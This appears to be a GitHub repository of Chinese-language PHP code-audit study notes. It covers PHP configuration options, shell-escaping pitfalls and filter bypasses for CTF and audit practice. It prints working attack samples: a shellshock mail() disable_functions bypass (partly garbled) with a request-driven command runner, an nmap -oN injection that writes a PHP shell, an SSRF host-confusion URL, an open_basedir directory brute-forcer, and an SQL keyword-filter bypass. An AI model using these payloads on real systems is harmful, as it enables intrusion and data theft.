├── README.md ├── allow_url_fopen 和 allow_url_include.md ├── bypass disable_functions.md ├── escapeshellarg 和 escapeshellcmd 函数.md ├── filter_var函数缺陷.md ├── open_basedir 研究.md ├── other.md ├── parse_url 函数trick.md ├── php mail函数.md ├── 代码审计圈 ├── linux 下通配符的技巧.md ├── some-articles.md └── 经典漏洞形式--上传后删除.md ├── 危险的file_put_contents函数.md ├── 宽字节注入及数据库编码分析.md ├── 特殊的文件写入技巧.md └── 通用代码审计思路.md /README.md: -------------------------------------------------------------------------------- 1 | # Audit-Learning 2 | 3 | 开新坑了,准备花一个月的时间对学过的代码审计知识好好总结一下,持续更新,欢迎各位师傅star支持一下。 4 | 5 | ## Todo 6 | - [x] open_basedir 绕过研究 7 | - [x] allow_url_fopen 和 allow_url_include 8 | - [x] 宽字节注入及数据库编码分析 9 | - [x] 通用代码审计思路 10 | - [x] 危险的file_put_contents函数 11 | - [x] escapeshellarg 和 escapeshellcmd 函数.md 12 | - [x] parse_url 函数研究 13 | - [x] 其他 14 | - [x] 特殊的文件名写入技巧(move_uploaded_file, file_put_contents,copy,readfile,file,fopen 都存在) 15 | - [x] mail函数命令执行 16 | - [ ] disable_functions 绕过研究 17 | - [ ] curl 函数研究 18 | - [ ] addslashes 函数绕过研究 19 | - [ ] move_uploaded_file 20 | - [ ] 其他 [php函数默认配置引发的安全问题](http://skysec.top/2018/08/17/php%E5%87%BD%E6%95%B0%E9%BB%98%E8%AE%A4%E9%85%8D%E7%BD%AE%E5%BC%95%E5%8F%91%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/#openssl-verify-%E5%87%BD%E6%95%B0) 21 | - [ ] 误用htmlentities函数引发的漏洞 (http://sec-redclub.com/archives/964/) 22 | - [x] filter_var函数缺陷 (http://sec-redclub.com/archives/925/) 23 | 24 | 25 | ## 一些资源 26 | 27 | ### 代码审计练习题 28 | 29 | https://github.com/CHYbeta/Code-Audit-Challenges 30 | 31 | wonderkun师傅的ctf web练习题: https://github.com/wonderkun/CTF_web 32 | 33 | https://github.com/bowu678/php_bugs 34 | 35 | RIPS2017 代码审计练习oj: https://www.ripstech.com/php-security-calendar-2017/ 36 | 37 | 红日安全 RIPS oj 里题解: https://github.com/hongriSec/PHP-Audit-Labs 38 | 39 | ### 漏洞exp 40 | 推荐一波自己的仓库: https://github.com/jiangsir404/PHP-code-audit 41 | 42 | 各种开源CMS 各种版本的漏洞以及EXP: https://github.com/Mr5m1th/0day 43 | 44 | CMS漏洞测试用例集合: https://github.com/SecWiki/CMS-Hunter 45 | 46 | 47 | ### 乌云 48 | 49 | Xyntax师傅整理的乌云1000个PHP代码审计案例: https://github.com/Xyntax/1000php 50 | 51 | 乌云Drops文章备份: https://github.com/SecWiki/wooyun_articles 52 | 53 | php_code_audit_project: https://github.com/SukaraLin/php_code_audit_project 54 | 55 | ### 思维导图,资料集合 56 | 57 | cheybeta师傅的Web学习资料整理: https://github.com/CHYbeta/Web-Security-Learning 58 | 59 | https://github.com/CHYbeta/phith0n-Mind-Map 60 | 61 | https://github.com/bit4woo/code2sec.com 62 | 63 | python 代码审计: https://github.com/bit4woo/python_sec 64 | 65 | 高级PHP应用程序漏洞审核技术(by黑哥)https://github.com/Jyny/pasc2at 66 | 67 | 68 | ### 博客 69 | 离别歌:https://www.leavesongs.com/ 70 | 71 | 漏洞时代: http://0day5.com/ 72 | 73 | lorexxar师傅: http://lorexxar.cn/ 74 | 75 | 知道创宇paper: https://paper.seebug.org/ 76 | 77 | 78 | ### 书籍 79 | 《代码审计》 80 | 81 | 《PHP7内核剖析》 https://github.com/pangudashu/php7-internal 82 | 83 | 《深入理解PHP内核》https://github.com/reeze/tipi 84 | 85 | ### 代码审计工具 86 | 87 | cobra: https://github.com/wufeifei/cobra 88 | 89 | Seay源代码审计系统2.1: http://www.cnseay.com/ 90 | 91 | rips: https://github.com/ripsscanner/rips 92 | 93 | 94 | -------------------------------------------------------------------------------- /allow_url_fopen 和 allow_url_include.md: -------------------------------------------------------------------------------- 1 | ## allow_url_fopen 2 | 3 | 只要在php.ini 文件中激活了allow_url_fopen选项, 就可以在大多数需要用文件名作为参数的函数中适用httpftp的url来代替文件名. 4 | 5 | 比如: fopen,file_get_contents,copy,readfile等函数都可以接收一个stream作为文件名来读取stream里的文件内容, imagecreatefromxxx等图像处理函数也可以传入一个url图片作为文件名 6 | 7 | 但也有一些函数不能接收一个url作为文件名,比如include,include_once,require,require_once 函 8 | . 9 | 10 | ``` 11 | imagecreatefrombmp — 由文件或 URL 创建一个新图象。 12 | imagecreatefromgd2 — 从 GD2 文件或 URL 新建一图像 13 | imagecreatefromgd2part — 从给定的 GD2 文件或 URL 中的部分新建一图像 14 | imagecreatefromgd — 从 GD 文件或 URL 新建一图像 15 | imagecreatefromgif — 由文件或 URL 创建一个新图象。 16 | imagecreatefromjpeg — 由文件或 URL 创建一个新图象。 17 | imagecreatefrompng — 由文件或 URL 创建一个新图象。 18 | imagecreatefromstring — 从字符串中的图像流新建一图像 19 | imagecreatefromwbmp — 由文件或 URL 创建一个新图象。 20 | imagecreatefromwebp — 由文件或 URL 创建一个新图象。 21 | imagecreatefromxbm — 由文件或 URL 创建一个新图象。 22 | imagecreatefromxpm — 由文件或 URL 创建一个新图象。 23 | ``` 24 | 25 | 26 | 27 | 如果关闭allow_url_fopen, 那么这些函数是无法获取远程文件内容 28 | 29 | 30 | 需要注意的一点 31 | 32 | 1. 出于安全性考虑, 此选项只能在php.ini中设置,无法直接在脚本中通过`ini_set('allow_url_fopen',1)` 这样来修改 33 | 34 | 原文: 35 | 36 | `ini_set() cannot be used for allow_url_fopen and allow_url_include (note that they are marked "PHP_INI_SYSTEM")` 37 | 38 | 这里要明白php_ini_system的意思, 配置可被修改的设定范围通常有五种: 39 | ``` 40 | php_ini_user: 该配置选项可在用户的php脚本中修改 41 | 42 | php_ini_perdir:该配置选项可在php.ini , .htaccess 或 httpd.conf 中设 43 | 44 | php_ini_system: 该配置选项可在php.ini或httpd.conf中设置 45 | 46 | php.ini_all: 该配置选项可在任何地方设置 47 | 48 | php.ini only: 该配置选项可仅可在php.ini 中设置 49 | ``` 50 | 51 | 52 | 在php.ini中这两个tag的范围为: 53 | 54 | ``` 55 | allow_url_fopen "1" PHP_INI_SYSTEM 在 PHP <= 4.3.4 时是 PHP_INI_ALL。 56 | allow_url_include "0" PHP_INI_ALL 在 PHP 5 时是 PHP_INI_SYSTEM。 从 PHP 5.2.0 起可用。(貌似有误) 57 | ``` 58 | 59 | 参考: http://www.php.net/manual/zh/ini.list.php 60 | 61 | 62 | 63 | ## allow_url_include 64 | 65 | 该值如果设定为1,那么include,require,include_once,require_once 就可以把url当作文件名参数来远程包含了。 66 | 67 | > Note: 68 | This setting requires allow_url_fopen to be on. 69 | 70 | 71 | ### 支持的协议和封装协议 72 | 73 | PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。 74 | 75 | ``` 76 | file:// — 访问本地文件系统 77 | http:// — 访问 HTTP(s) 网址 78 | ftp:// — 访问 FTP(s) URLs 79 | php:// — 访问各个输入/输出流(I/O streams) 80 | zlib:// — 压缩流 81 | data:// — 数据(RFC 2397) 82 | glob:// — 查找匹配的文件路径模式 83 | phar:// — PHP 归档 84 | ssh2:// — Secure Shell 2 85 | rar:// — RAR 86 | ogg:// — 音频流 87 | expect:// — 处理交互式的流 88 | ``` 89 | 90 | 91 | 92 | 93 | 参考: http://www.php.net/manual/zh/filesystem.configuration.php 94 | 95 | -------------------------------------------------------------------------------- /bypass disable_functions.md: -------------------------------------------------------------------------------- 1 | 看一下php manual手册中的定义 2 | 3 | ``` 4 | disable_classes string 5 | 本指令可以使你出于安全的理由禁用某些类。用逗号分隔类名。disable_classes 不受安全模式的影响。 本指令只能设置在 php.ini 中。例如不能将其设置在 httpd.conf。 6 | ``` 7 | php中有一个table存放已定义的函数 8 | disabled_function的原理便是,将函数名从这个table删除。对于绕过disabled_function的话, 9 | 总共有几种方式 10 | 11 | 12 | ``` 13 | 1、加载so文件,模块文件 14 | 2、找到生僻的函数,里面带有执行命令 15 | 3、一些第三方的漏洞,比如exim、破壳漏洞 16 | ``` 17 | 18 | 19 | 绕过1: mail函数 20 | 21 | 参考 https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html 22 | 23 | ``` 24 | char *sendmail_path = INI_STR("sendmail_path"); 25 | char *sendmail_cmd = NULL; 26 | ... 27 | if (extra_cmd != NULL) { 28 | spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); 29 | } else { 30 | sendmail_cmd = sendmail_path; 31 | } 32 | ... 33 | #ifdef PHP_WIN32 34 | sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); 35 | #else 36 | /* Since popen() doesn't indicate if the internal fork() doesn't work 37 | * (e.g. the shell can't be executed) we explicitly set it to 0 to be 38 | * sure we don't catch any older errno value. */ 39 | errno = 0; 40 | sendmail = popen(sendmail_cmd, "w"); 41 | #endif 42 | ``` 43 | 44 | sendmail_path是从php.ini获取过来的,默认是`/usr/sbin/sendmail -t -i`, extra_cmd 是mail函数的第五个参数 45 | 46 | 47 | extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 最后调用popen执行senmail_cmd命令. 48 | 49 | 50 | 如果系统默认sh是bash,popen会派生bash进程。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。 51 | 52 | > 同样,我们搜索一下php的源码,可以发现,明里调用popen派生进程的php函数还有imap_mail,如果你仅仅通过禁用mail函数来规避这个安全问题,那么imap_mail是可以做替代的。当然,php里还可能有其他地方有调用popen或其他能够派生bash子进程的函数,通过这些地方,都可以通过破壳漏洞执行命令的。 53 | 54 | poc: 55 | 56 | ``` 57 | $tmp 2>&1"); 61 | // In Safe Mode, the user may only alter environment variableswhose names 62 | // begin with the prefixes supplied by this directive. 63 | // By default, users will only be able to set environment variablesthat 64 | // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 65 | // PHP will let the user modify ANY environment variable! 66 | mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 67 | $output = @file_get_contents($tmp); 68 | @unlink($tmp); 69 | if($output != "") return $output; 70 | else return "No output, or not vuln."; 71 | } 72 | echo shellshock($_REQUEST["cmd"]); 73 | ?> 74 | ``` 75 | -------------------------------------------------------------------------------- /escapeshellarg 和 escapeshellcmd 函数.md: -------------------------------------------------------------------------------- 1 | ### escapeshellarg 2 | 3 | php手册上的解释为: 4 | 5 | > escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号) 6 | 7 | 8 | 9 | 错误的使用: 10 | 11 | 经过 escapeshellarg 函数处理过的参数被拼凑成 shell 命令 并且被双引号包裹这样就会造成漏洞 12 | 13 | 主要在于bash中双引号和单引号解析变量是有区别的 14 | 15 | 在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的 16 | 但是双引号不同 , bash 会将变量名解析成变量的值再使用 17 | 18 | ```bash 19 | lj@lj:/usr/share/virtualbox$ echo `date` 20 | 2018年 01月 29日 星期一 11:38:08 CST 21 | lj@lj:/usr/share/virtualbox$ echo '`date`' 22 | `date` 23 | lj@lj:/usr/share/virtualbox$ echo "`date`" 24 | 2018年 01月 29日 星期一 11:38:21 CST 25 | lj@lj:/usr/share/virtualbox$ echo "'`date`'" 26 | '2018年 01月 29日 星期一 11:38:27 CST' 27 | lj@lj:/usr/share/virtualbox$ echo '"`date`"' 28 | "`date`" 29 | ``` 30 | 31 | 32 | 如上可知, 如果参数用了 escapeshellarg 函数过滤单引号,但参数在拼接命令的时候用了双引号的话还是会导致命令执行的漏洞。 33 | 34 | 35 | 具体漏洞参考: https://www.jianshu.com/p/162844f45f1d 36 | 37 | 38 | ### escapeshellcmd 39 | 40 | php手册上的解释为: 41 | 42 | escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 43 | 44 | 反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ` ' 和 " 仅在不配对儿的时候被转义`。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。 45 | 46 | 47 | ```php 48 | >> 54 | \`ls\` 55 | ``` 56 | 57 | 58 | ### escapeshellarg() + escapeshellcmd() 之殇 59 | 60 | 这两个函数都会对单引号进行处理,但还是有区别的,区别如下: 61 | 62 | ```bash 63 | echo escapeshellarg("l's")."\n"; 64 | echo escapeshellcmd("l's")."\n"; 65 | echo escapeshellarg("l''s")."\n"; 66 | echo escapeshellcmd("l''s")."\n"; 67 | 68 | >>> 69 | 'l'\''s' 70 | l\'s 71 | 'l'\'''\''s' 72 | l''s 73 | ``` 74 | 75 | 对于单个单引号, escapeshellarg()函数转义后,还会在左右各加一个单引号,但escapeshellcmd()函数是直接加一个转义符 76 | 77 | 对于成对的单引号, escapeshellcmd()函数默认不转义,但escapeshellarg()函数转义: 78 | 79 | 80 | 我们来看看一个demo: 81 | 82 | ```php 83 | >> 94 | '172.17.0.2'\'' -v -d a=1' 95 | '172.17.0.2'\\'' -v -d a=1\' 96 | curl '172.17.0.2'\\'' -v -d a=1\' 97 | * Rebuilt URL to: 172.17.0.2\/ 98 | % Total % Received % Xferd Average Speed Time Time Time Current 99 | Dload Upload Total Spent Left Speed 100 | 101 | 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 172.17.0.2... 102 | 103 | 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 104 | 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0 105 | 0 0 0 0 0 0 0 0 --:--:-- 0:00:02 --:--:-- 0* connect to 172.17.0.2 port 80 failed: 没有到主机的路由 106 | * Failed to connect to 172.17.0.2\ port 80: 没有到主机的路由 107 | * Closing connection 0 108 | ``` 109 | 110 | $host参数先用escapeshellarg()函数过滤后再用escapeshellcmd()过滤, 这样就会出问题了, 111 | 112 | escapeshellarg 先转义了一个单引号,然后引入了一对单引号, escapeshellcmd 不会转义成对的单引号,但是会转义转移符`\`,这样, 转移符作用失效,逃逸出来一个单引号. 113 | 114 | > 顺序不能反了, 如果是先用escapeshellcmd函数过滤,再用的esc 115 | apeshellarg函数过滤,则没有这个问题. 116 | 117 | ``` 118 | '172.17.0.2'\'' -v -d a=1' 119 | '172.17.0.2'\\'' -v -d a=1\' 120 | ``` 121 | 122 | 逃逸出来单引号有什么作用呢? 在curl命令中, 正常情况下我们输入的所有数据都会被当做host主机部分去访问, 但是如果我们逃逸出来了单引号, 我们就可以加入一些其他参数了. 123 | 124 | 125 | 我们来看一道题目: 126 | 127 | ```php 128 | "; 143 | @mkdir($sandbox); 144 | chdir($sandbox); 145 | echo "
";
146 |     echo system("nmap -T5  -sT -Pn --host-timeout 2 -F  ".$host);
147 |     echo "
"; 148 | } 149 | ?> 150 | ``` 151 | 152 | 我们通过闭合单引号可以引入nmap的其他参数,虽然我们没法直接闭合命令,但nmap的一些参数就可以getshell了. 153 | 154 | 155 | ?host=%27%20 -oN 2.php-v 3 156 | 157 | 说明: nmap的-oN命令表示到处正常文件, 这里我们可以自定义文件名为2.php, 我们来看一下写入的文件内容 158 | 159 | ```php 160 | # Nmap 7.01 scan initiated Tue Feb 27 14:21:40 2018 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oN 2.php -v \ 3' 161 | Failed to resolve "\". 162 | Failed to resolve "". 163 | Failed to resolve "3'". 164 | Read data files from: /usr/bin/../share/nmap 165 | WARNING: No targets were specified, so 0 hosts scanned. 166 | # Nmap done at Tue Feb 27 14:21:40 2018 -- 0 IP addresses (0 hosts up) scanned in 0.05 seconds 167 | ``` 168 | 169 | 访问成功执行命令. 170 | 171 | -------------------------------------------------------------------------------- /filter_var函数缺陷.md: -------------------------------------------------------------------------------- 1 | (PHP 5 >= 5.2.0, PHP 7) 2 | filter_var — 使用特定的过滤器过滤一个变量 3 | 4 | mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) 5 | 6 | 7 | 常见的filter 过滤器 8 | ``` 9 | FILTER_VALIDATE_EMAIL 10 | FILTER_VALIDATE_DOMAIN 11 | FILTER_VALIDATE_IP 12 | FILTER_VALIDATE_URL 13 | ``` 14 | 15 | 比较常用的当属FILTER_VALIDATE_URL了吧,但是它存在很easy的绕过问题: 16 | 17 | 随便给了两个实例都可以bypass 18 | ``` 19 | 中间的逗号也可以换成 `;` `%0a` `%0d` 62 | 63 | 原理: 64 | ``` 65 | 许多URL结构保留一些特殊的字符用来表示特殊的含义,这些符号在URL中不同的位置有着其特殊的语义。字符“;”, “/”, “?”, “:”, “@”, “=” 和“&”是被保留的。除了分层路径中的点段,通用语法将路径段视为不透明。 生成URI的应用程序通常使用段中允许的保留字符来分隔。例如“;”和“=”用来分割参数和参数值。逗号也有着类似的作用。 66 | 67 | 例如,有的结构使用name;v=1.1来表示name的version是1.1,然而还可以使用name,1.1来表示相同的意思。当然对于URL来说,这些保留的符号还是要看URL的算法来表示他们的作用。 68 | 69 | 例如,如果用于hostname上,URL“http://evil.com;baidu.com”会被curl或者wget这样的工具解析为host:evil.com,querything:baidu.com 70 | ``` 71 | 72 | 这样我们就可以绕过限制访问到我们的vps上来了。 73 | 74 | ``` 75 | Argument: 0://www.blogsir.com.cn:80,baidu.com:80/ 76 | Array 77 | ( 78 | [scheme] => 0 79 | [host] => www.blogsir.com.cn:80,baidu.com 80 | [port] => 80 81 | [path] => / 82 | ) 83 | * Rebuilt URL to: www.blogsir.com.cn:80,baidu.com/ 84 | * Trying 123.206.65.167... 85 | * Connected to www.blogsir.com.cn (123.206.65.167) port 80 (#0) 86 | > GET / HTTP/1.1 87 | > Host: www.blogsir.com.cn 88 | > User-Agent: curl/7.47.0 89 | > Accept: */* 90 | ``` 91 | 92 | 参考: 93 | 94 | Some trick in ssrf and unserialize(): https://www.jianshu.com/p/80ce73919edb 95 | http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/ -------------------------------------------------------------------------------- /open_basedir 研究.md: -------------------------------------------------------------------------------- 1 | Open_basedir 指令用来限制php只能访问哪些目录,所有php中相关文件读写的函数都会经过 `open_bsaedir` 的检查(但不限制system的命令执行) 2 | 3 | 设置open_basedir 的方法,在linux下,不同的目录由`:` 分割 4 | 5 | ini_set('open_basedir','/var/www/a/:/tmp'); 6 | 7 | 在window下不同目录由`;`分割 8 | 9 | 10 | 先来纠正一个《代码审计》一书中的小错误(可能是已修复), 书中说指定的限制实际上是前缀,而不是目录名,例如,如果配置open_basedir=/www/a , 那么目录`/www/a` 和 `/www/ab` 都是可以访问的。 所以如果要将访问权限限制在指定的目录内, 请用斜线结束路径名。 11 | 12 | 自己试了下发现无论是否已斜线结尾都表示目录名 13 | 14 | ```php 15 | open_basedir : %s
', ini_get('open_basedir')); 30 | $file_list = array(); 31 | // normal files 32 | $it = new DirectoryIterator("glob:///*"); 33 | foreach($it as $f) { 34 | $file_list[] = $f->__toString(); 35 | } 36 | // special files (starting with a dot(.)) 37 | $it = new DirectoryIterator("glob:///.*"); 38 | foreach($it as $f) { 39 | $file_list[] = $f->__toString(); 40 | } 41 | sort($file_list); 42 | foreach($file_list as $f){ 43 | echo "{$f}
"; 44 | } 45 | ?> 46 | ``` 47 | 48 | 49 | 现已就被修复了... 50 | 51 | 52 | ### 利用返回信息爆破目录 53 | 54 | 1. realpath 列举目录 55 | 56 | Realpath函数是php中将一个路径规范化成为绝对路径的方法,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。 57 | 58 | 在开启了open_basedir以后,这个函数有个特点:当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。 59 | 60 | 61 | 我们来看一下源码: `ext/standard/file.c` 62 | 63 | ```c 64 | PHP_FUNCTION(realpath) 65 | { 66 | char *filename; 67 | size_t filename_len; 68 | char resolved_path_buff[MAXPATHLEN]; 69 | 70 | ZEND_PARSE_PARAMETERS_START(1, 1) 71 | Z_PARAM_PATH(filename, filename_len) 72 | ZEND_PARSE_PARAMETERS_END(); 73 | 74 | if (VCWD_REALPATH(filename, resolved_path_buff)) { 75 | if (php_check_open_basedir(resolved_path_buff)) { 76 | RETURN_FALSE; 77 | } 78 | 79 | #ifdef ZTS 80 | if (VCWD_ACCESS(resolved_path_buff, F_OK)) { 81 | RETURN_FALSE; 82 | } 83 | #endif 84 | RETURN_STRING(resolved_path_buff); 85 | } else { 86 | RETURN_FALSE; 87 | } 88 | } 89 | ``` 90 | 91 | open_basedir的验证函数是php_check_open_basedir,我们查看以下这个函数: `main/fopen_wrappers.c` 92 | 93 | ```c 94 | PHPAPI int php_check_open_basedir_ex(const char *path, int warn) 95 | { 96 | /* Only check when open_basedir is available */ 97 | if (PG(open_basedir) && *PG(open_basedir)) { 98 | char *pathbuf; 99 | char *ptr; 100 | char *end; 101 | 102 | /* Check if the path is too long so we can give a more useful error 103 | * message. */ 104 | if (strlen(path) > (MAXPATHLEN - 1)) { 105 | php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path); 106 | errno = EINVAL; 107 | return -1; 108 | } 109 | 110 | pathbuf = estrdup(PG(open_basedir)); 111 | 112 | ptr = pathbuf; 113 | 114 | while (ptr && *ptr) { 115 | end = strchr(ptr, DEFAULT_DIR_SEPARATOR); 116 | if (end != NULL) { 117 | *end = '\0'; 118 | end++; 119 | } 120 | 121 | if (php_check_specific_open_basedir(ptr, path) == 0) { 122 | efree(pathbuf); 123 | return 0; 124 | } 125 | 126 | ptr = end; 127 | } 128 | if (warn) { 129 | php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir)); 130 | } 131 | efree(pathbuf); 132 | errno = EPERM; /* we deny permission to open it */ 133 | return -1; 134 | } 135 | 136 | /* Nothing to check... */ 137 | return 0; 138 | } 139 | ``` 140 | 141 | 142 | 可以看到realpath函数的错误处理,第一个if调用了VCWD_REALPATH 函数, 大概是判断路径是否正确,如果错误不执行php_check_open_basedir, 直接返回false, 如果是正确的文件路径才去验证是否在open_basedir目录下 143 | 144 | 可以看到这个逻辑是存在漏洞的,举个例子, 我们需要猜解根目录(不再open_basedir中)下的所有文件, 只用写一个捕捉err_handle(). 当猜解某个存在的文件时, 会因不满足php_check_open_basedir函数抛出错误而进入err_handle(). 当猜解某个不存在的文件时, 程序会直接返回false. 145 | 146 | 147 | 在linux 下猜解目录的效率很低, window 下可以借助通配符`< >` 148 | 149 | 借用p牛的poc: 150 | 151 | ```c 152 | open_basedir: %s
", ini_get('open_basedir')); 155 | set_error_handler('isexists'); 156 | $dir = 'd:/test/'; 157 | $file = ''; 158 | $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; 159 | for ($i=0; $i < strlen($chars); $i++) { 160 | $file = $dir . $chars[$i] . '<><'; 161 | realpath($file); 162 | } 163 | function isexists($errno, $errstr) 164 | { 165 | $regexp = '/File\((.*)\) is not within/'; 166 | preg_match($regexp, $errstr, $matches); 167 | if (isset($matches[1])) { 168 | printf("%s
", $matches[1]); 169 | } 170 | } 171 | ?> 172 | ``` 173 | 174 | 175 | 176 | 2. SplFileInfo::getRealPath 列举目录 177 | 178 | 我们来看一下该函数的源码: `ext/spl/spl_directory.c` 179 | 180 | ```c 181 | SPL_METHOD(SplFileInfo, getRealPath) 182 | { 183 | spl_filesystem_object *intern = Z_SPLFILESYSTEM_P(getThis()); 184 | char buff[MAXPATHLEN]; 185 | char *filename; 186 | zend_error_handling error_handling; 187 | 188 | if (zend_parse_parameters_none() == FAILURE) { 189 | return; 190 | } 191 | 192 | zend_replace_error_handling(EH_THROW, spl_ce_RuntimeException, &error_handling); 193 | 194 | if (intern->type == SPL_FS_DIR && !intern->file_name && intern->u.dir.entry.d_name[0]) { 195 | spl_filesystem_object_get_file_name(intern); 196 | } 197 | 198 | if (intern->orig_path) { 199 | filename = intern->orig_path; 200 | } else { 201 | filename = intern->file_name; 202 | } 203 | 204 | 205 | if (filename && VCWD_REALPATH(filename, buff)) { 206 | #ifdef ZTS 207 | if (VCWD_ACCESS(buff, F_OK)) { 208 | RETVAL_FALSE; 209 | } else 210 | #endif 211 | RETVAL_STRING(buff); 212 | } else { 213 | RETVAL_FALSE; 214 | } 215 | 216 | zend_restore_error_handling(&error_handling); 217 | } 218 | ``` 219 | 220 | 通过看源码我们发现该方法也是调用了VCWD_REALPATH函数来验证路径是否正确, 但完全没考虑open_basedir. 221 | 222 | 我们来直接搜一下: VCWD_REALPATH 函数 223 | 224 | ``` 225 | /home/lj/code/c/php-src/ext/gd/gd.c: 226 | 4048 char tmp_font_path[MAXPATHLEN]; 227 | 4049 228 | 4050: if (!VCWD_REALPATH(fontname, tmp_font_path)) { 229 | 4051 fontname = NULL; 230 | 4052 } 231 | 232 | /home/lj/code/c/php-src/ext/gettext/gettext.c: 233 | 262 234 | 263 if (dir[0] != '\0' && strcmp(dir, "0")) { 235 | 264: if (!VCWD_REALPATH(dir, dir_name)) { 236 | 265 RETURN_FALSE; 237 | 266 } 238 | 239 | /home/lj/code/c/php-src/ext/opcache/zend_accelerator_blacklist.c: 240 | 244 zend_accel_error(ACCEL_LOG_DEBUG,"Loading blacklist file: '%s'", filename); 241 | 245 242 | 246: if (VCWD_REALPATH(filename, buf)) { 243 | 247 blacklist_path_length = zend_dirname(buf, strlen(buf)); 244 | 248 blacklist_path = zend_strndup(buf, blacklist_path_length); 245 | 246 | ... 247 | ... 248 | 249 | ``` 250 | 251 | 252 | 253 | 3. gd.c 里面部分源码: 254 | 255 | ```c 256 | static void php_imagettftext_common(INTERNAL_FUNCTION_PARAMETERS, int mode, int extended) 257 | { 258 | 259 | ... 260 | 261 | #ifdef VIRTUAL_DIR 262 | { 263 | char tmp_font_path[MAXPATHLEN]; 264 | 265 | if (!VCWD_REALPATH(fontname, tmp_font_path)) { 266 | fontname = NULL; 267 | } 268 | } 269 | #endif /* VIRTUAL_DIR */ 270 | 271 | PHP_GD_CHECK_OPEN_BASEDIR(fontname, "Invalid font filename"); 272 | 273 | #ifdef HAVE_GD_FREETYPE 274 | if (extended) { 275 | error = gdImageStringFTEx(im, brect, col, fontname, ptsize, angle, x, y, str, &strex); 276 | } 277 | else 278 | error = gdImageStringFT(im, brect, col, fontname, ptsize, angle, x, y, str); 279 | 280 | #endif /* HAVE_GD_FREETYPE */ 281 | ``` 282 | 283 | 这里也和realpath 函数一样, PHP_GD_CHECK_OPEN_BASEDIR 函数是验证open_basedir, 284 | 285 | gd.c 里面很多函数都调用了该函数: 286 | 287 | ```c 288 | PHP_FUNCTION(imageftbbox) 289 | { 290 | php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_BBOX, 1); 291 | } 292 | /* }}} */ 293 | 294 | /* {{{ proto array imagefttext(resource im, float size, float angle, int x, int y, int col, string font_file, string text [, array extrainfo]) 295 | Write text to the image using fonts via freetype2 */ 296 | PHP_FUNCTION(imagefttext) 297 | { 298 | php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_DRAW, 1); 299 | } 300 | /* }}} */ 301 | #endif /* HAVE_GD_FREETYPE && HAVE_LIBFREETYPE */ 302 | 303 | /* {{{ proto array imagettfbbox(float size, float angle, string font_file, string text) 304 | Give the bounding box of a text using TrueType fonts */ 305 | PHP_FUNCTION(imagettfbbox) 306 | { 307 | php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_BBOX, 0); 308 | } 309 | /* }}} */ 310 | 311 | /* {{{ proto array imagettftext(resource im, float size, float angle, int x, int y, int col, string font_file, string text) 312 | Write text to the image using a TrueType font */ 313 | PHP_FUNCTION(imagettftext) 314 | { 315 | php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_DRAW, 0); 316 | } 317 | ``` 318 | 319 | 320 | 都可以用来爆破目录来绕过open_basedir 321 | 322 | 还有bindtextdomain 函数,等等都存在绕过open_basedir的方法。 323 | 324 | 325 | 326 | 当然这些方法p牛14年就发出来了, 现在这只是复现一下大佬的挖掘过程, 再膜一哈。 327 | 328 | 329 | 330 | 参考: https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html -------------------------------------------------------------------------------- /other.md: -------------------------------------------------------------------------------- 1 | ## strpos 2 | ``` 3 | if(stripos($url,'.')){ 4 | die("unknow url"); 5 | } 6 | 7 | if(stripos($url,'.') == False){ 8 | die('unkonw url'); 9 | } 10 | ``` 11 | 12 | 这段代码是存在漏洞的,因为当.出现在第一位时候返回值为0 13 | 14 | 正常写法: 15 | 16 | ``` 17 | if(stripo($url,'.') === False){ 18 | die('unkonwn url'); 19 | } 20 | 21 | 22 | ## 注入 23 | 24 | preg_match("/\b(select|insert|update|delete)\b/i",$message) 25 | 26 | 然后使用/*!00000select*/ 来bypass 语义分析的绕过 27 | 28 | > \b”匹配单词边界,不匹配任何字符 29 | 30 | /*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 